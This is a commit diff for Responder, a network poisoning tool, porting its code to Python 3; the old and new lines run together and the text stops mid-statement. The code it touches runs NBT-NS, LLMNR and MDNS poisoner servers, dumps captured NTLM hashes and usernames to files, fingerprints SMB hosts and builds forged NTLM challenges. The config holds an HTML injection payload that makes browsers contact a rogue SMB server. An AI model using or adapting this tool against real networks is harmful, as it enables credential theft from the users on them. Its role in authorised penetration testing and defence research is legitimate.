Added py3 and py2 compatibility + many bugfix

This commit is contained in:
lgandx 2020-01-09 14:47:56 -03:00
parent c52843a535
commit b510b2bb25
49 changed files with 2771 additions and 2058 deletions

View file

@ -39,11 +39,11 @@ def GetResponderCompleteNTLMv1Hash(cursor):
return Output return Output
cursor = DbConnect() cursor = DbConnect()
print "Dumping NTLMV2 hashes:" print("Dumping NTLMV2 hashes:")
v2 = GetResponderCompleteNTLMv2Hash(cursor) v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2) DumpHashToFile("DumpNTLMv2.txt", v2)
print v2 print(v2)
print "\nDumping NTLMv1 hashes:" print("\nDumping NTLMv1 hashes:")
v1 = GetResponderCompleteNTLMv1Hash(cursor) v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1) DumpHashToFile("DumpNTLMv1.txt", v1)
print v1 print(v1)

View file

@ -39,7 +39,7 @@ def GetResponderData(cursor):
def GetResponderUsernamesStatistic(cursor): def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder") res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall(): for row in res.fetchall():
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1) print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
def GetResponderUsernames(cursor): def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder") res = cursor.execute("SELECT DISTINCT user FROM Responder")
@ -66,7 +66,7 @@ def GetUniqueLookups(cursor):
def GetStatisticUniqueLookups(cursor): def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall(): for row in res.fetchall():
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1) print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
def SavePoisonersToDb(result): def SavePoisonersToDb(result):
@ -82,13 +82,13 @@ def SaveToDb(result):
result[k] = '' result[k] = ''
cursor = DbConnect() cursor = DbConnect()
print color("[+] Generating report...", code = 3, modifier = 1) print(color("[+] Generating report...", code = 3, modifier = 1))
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1) print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor) GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor) GetStatisticUniqueLookups(cursor)
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1) print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
GetResponderUsernames(cursor) GetResponderUsernames(cursor)
print color("\n[+] Username details:", code = 2, modifier = 1) print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor) GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1) #print color("\n[+] Captured hashes:", code = 2, modifier = 1)

View file

@ -40,8 +40,8 @@ RespondTo =
; Specific NBT-NS/LLMNR names to respond to (default = All) ; Specific NBT-NS/LLMNR names to respond to (default = All)
; Example: RespondTo = WPAD, DEV, PROD, SQLINT ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
;RespondToName = WPAD, DEV, PROD, SQLINT
RespondToName = RespondToName =
; Specific IP Addresses not to respond to (default = None) ; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo = DontRespondTo =
@ -91,7 +91,7 @@ WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || sh
; HTML answer to inject in HTTP responses (before </body> tag). ; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable. ; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'> HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
[HTTPS Server] [HTTPS Server]

View file

@ -16,8 +16,10 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import optparse import optparse
import ssl import ssl
try:
from SocketServer import TCPServer, UDPServer, ThreadingMixIn from SocketServer import TCPServer, UDPServer, ThreadingMixIn
except:
from socketserver import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread from threading import Thread
from utils import * from utils import *
import struct import struct
@ -45,10 +47,10 @@ parser.add_option('-v','--verbose', action="store_true", help="Increase v
options, args = parser.parse_args() options, args = parser.parse_args()
if not os.geteuid() == 0: if not os.geteuid() == 0:
print color("[!] Responder must be run as root.") print(color("[!] Responder must be run as root."))
sys.exit(-1) sys.exit(-1)
elif options.OURIP is None and IsOsX() is True: elif options.OURIP is None and IsOsX() is True:
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@ -60,7 +62,7 @@ StartupMessage()
settings.Config.ExpandIPRanges() settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
#Create the DB, before we start Responder. #Create the DB, before we start Responder.
CreateResponderDb() CreateResponderDb()
@ -71,9 +73,13 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@ -83,9 +89,13 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
TCPServer.server_bind(self) TCPServer.server_bind(self)
@ -95,9 +105,13 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self) TCPServer.server_bind(self)
@ -115,9 +129,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@ -133,10 +151,14 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
pass pass
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
except: except:
pass raise
#pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
@ -150,7 +172,7 @@ def serve_thread_udp_broadcast(host, port, handler):
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler): def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler) serve_thread_udp_broadcast(host, port, handler)
@ -160,7 +182,7 @@ def serve_MDNS_poisoner(host, port, handler):
server = ThreadingUDPMDNSServer((host, port), handler) server = ThreadingUDPMDNSServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler): def serve_LLMNR_poisoner(host, port, handler):
try: try:
@ -168,7 +190,7 @@ def serve_LLMNR_poisoner(host, port, handler):
server.serve_forever() server.serve_forever()
except: except:
raise raise
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
@ -179,7 +201,7 @@ def serve_thread_udp(host, port, handler):
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
@ -190,7 +212,7 @@ def serve_thread_tcp(host, port, handler):
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_tcp_auth(host, port, handler): def serve_thread_tcp_auth(host, port, handler):
try: try:
@ -201,7 +223,7 @@ def serve_thread_tcp_auth(host, port, handler):
server = ThreadingTCPServerAuth((host, port), handler) server = ThreadingTCPServerAuth((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_SSL(host, port, handler): def serve_thread_SSL(host, port, handler):
try: try:
@ -218,7 +240,7 @@ def serve_thread_SSL(host, port, handler):
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever() server.serve_forever()
except: except:
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running." print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main(): def main():
try: try:
@ -306,7 +328,7 @@ def main():
thread.setDaemon(True) thread.setDaemon(True)
thread.start() thread.start()
print color('[+]', 2, 1) + " Listening for events..." print(color('[+]', 2, 1) + " Listening for events...")
while True: while True:
time.sleep(1) time.sleep(1)

0
files/BindShell.exe Normal file → Executable file
View file

View file

@ -16,14 +16,20 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket import socket
import struct import struct
import sys
from utils import color from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion return OsVersion, ClientVersion
except: except:
@ -35,28 +41,26 @@ def RunSmbFinger(host):
s.connect(host) s.connect(host)
s.settimeout(0.7) s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = SMBNegoFingerData()) n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate() n.calculate()
Packet = str(h)+str(n) Packet = str(h)+str(n)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData() Body = SMBSessionFingerData()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
s.send(Buffer)
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == "\x73\x16": if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data) return OsNameClientVersion(data)
except: except:
print color("[!] ", 1, 1) +" Fingerprint failed" print(color("[!] ", 1, 1) +" Fingerprint failed")
return None return None

View file

@ -1,20 +1,9 @@
#!/usr/bin/env python import sys
# This file is part of Responder, a network take-over set of tools try:
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):
@ -77,12 +66,22 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy() inst_dict = vars(self).copy()
self.__map, self.__end = tmp self.__map, self.__end = tmp
if inst_dict: if inst_dict:
return self.__class__, (items,), inst_dict return (self.__class__, (items,), inst_dict)
return self.__class__, (items,) return self.__class__, (items,)
def keys(self): def keys(self):
return list(self) return list(self)
if sys.version_info >= (3, 0):
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.keys
itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault setdefault = DictMixin.setdefault
update = DictMixin.update update = DictMixin.update
pop = DictMixin.pop pop = DictMixin.pop
@ -115,3 +114,8 @@ class OrderedDict(dict, DictMixin):
def __ne__(self, other): def __ne__(self, other):
return not self == other return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

View file

@ -14,12 +14,14 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
import settings import settings
import codecs
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
from odict import OrderedDict from odict import OrderedDict
from utils import HTTPCurrentDate, RespondWithIPAton from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py). # Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
@ -55,8 +57,8 @@ class NBT_Ans(Packet):
]) ])
def calculate(self,data): def calculate(self,data):
self.fields["Tid"] = data[0:2] self.fields["Tid"] = NetworkRecvBufferPython2or3(data[0:2])
self.fields["NbtName"] = data[12:46] self.fields["NbtName"] = NetworkRecvBufferPython2or3(data[12:46])
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
# DNS Answer Packet # DNS Answer Packet
@ -84,7 +86,7 @@ class DNS_Ans(Packet):
self.fields["Tid"] = data[0:2] self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# LLMNR Answer Packet # LLMNR Answer Packet
class LLMNR_Ans(Packet): class LLMNR_Ans(Packet):
@ -112,9 +114,9 @@ class LLMNR_Ans(Packet):
def calculate(self): def calculate(self):
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet # MDNS Answer Packet
class MDNS_Ans(Packet): class MDNS_Ans(Packet):
@ -135,7 +137,7 @@ class MDNS_Ans(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
##### HTTP Packets ##### ##### HTTP Packets #####
class NTLM_Challenge(Packet): class NTLM_Challenge(Packet):
@ -181,26 +183,34 @@ class NTLM_Challenge(Packet):
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
#Now from bytes to str..
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].decode('latin-1')
self.fields["Av1Str"] = self.fields["Av1Str"].decode('latin-1')
self.fields["Av2Str"] = self.fields["Av2Str"].decode('latin-1')
self.fields["Av3Str"] = self.fields["Av3Str"].decode('latin-1')
self.fields["Av4Str"] = self.fields["Av4Str"].decode('latin-1')
self.fields["Av5Str"] = self.fields["Av5Str"].decode('latin-1')
# Then calculate # Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str("A"*8)+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
# Target Name Offsets # Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset)) self.fields["TargetNameOffset"] = StructPython2or3("<i",CalculateNameOffset)
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameMaxLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
# AvPairs Offsets # AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset)) self.fields["TargetInfoOffset"] = StructPython2or3("<i",CalculateAvPairsOffset)
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoLen"] = StructPython2or3("<h",CalculateAvPairsLen)
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoMaxLen"] = StructPython2or3("<h",CalculateAvPairsLen)
# AvPairs StrLen # AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2] self.fields["Av1Len"] = StructPython2or3("<h",self.fields["Av1Str"])
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2] self.fields["Av2Len"] = StructPython2or3("<h",self.fields["Av2Str"])
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2] self.fields["Av3Len"] = StructPython2or3("<h",self.fields["Av3Str"])
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2] self.fields["Av4Len"] = StructPython2or3("<h",self.fields["Av4Str"])
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2] self.fields["Av5Len"] = StructPython2or3("<h",self.fields["Av5Str"])
class IIS_Auth_401_Ans(Packet): class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -417,18 +427,18 @@ class MSSQLPreLoginAnswer(Packet):
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
#Version #Version
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) self.fields["VersionLen"] = StructWithLenPython2or3(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) self.fields["VersionOffset"] = StructWithLenPython2or3(">h",len(VersionOffset))
#Encryption #Encryption
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) self.fields["EncryptionLen"] = StructWithLenPython2or3(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(EncryptionOffset))
#InstOpt #InstOpt
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) self.fields["InstOptLen"] = StructWithLenPython2or3(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(InstOpOffset))
#ThrdIDOffset #ThrdIDOffset
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) self.fields["ThrdIDOffset"] = StructWithLenPython2or3(">h",len(ThrdIDOffset))
class MSSQLNTLMChallengeAnswer(Packet): class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -475,12 +485,12 @@ class MSSQLNTLMChallengeAnswer(Packet):
def calculate(self): def calculate(self):
# First convert to unicode # First convert to unicode
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le').decode('latin-1')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le').decode('latin-1')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le').decode('latin-1')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le').decode('latin-1')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le').decode('latin-1')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le').decode('latin-1')
# Then calculate # Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateCompletePacket = 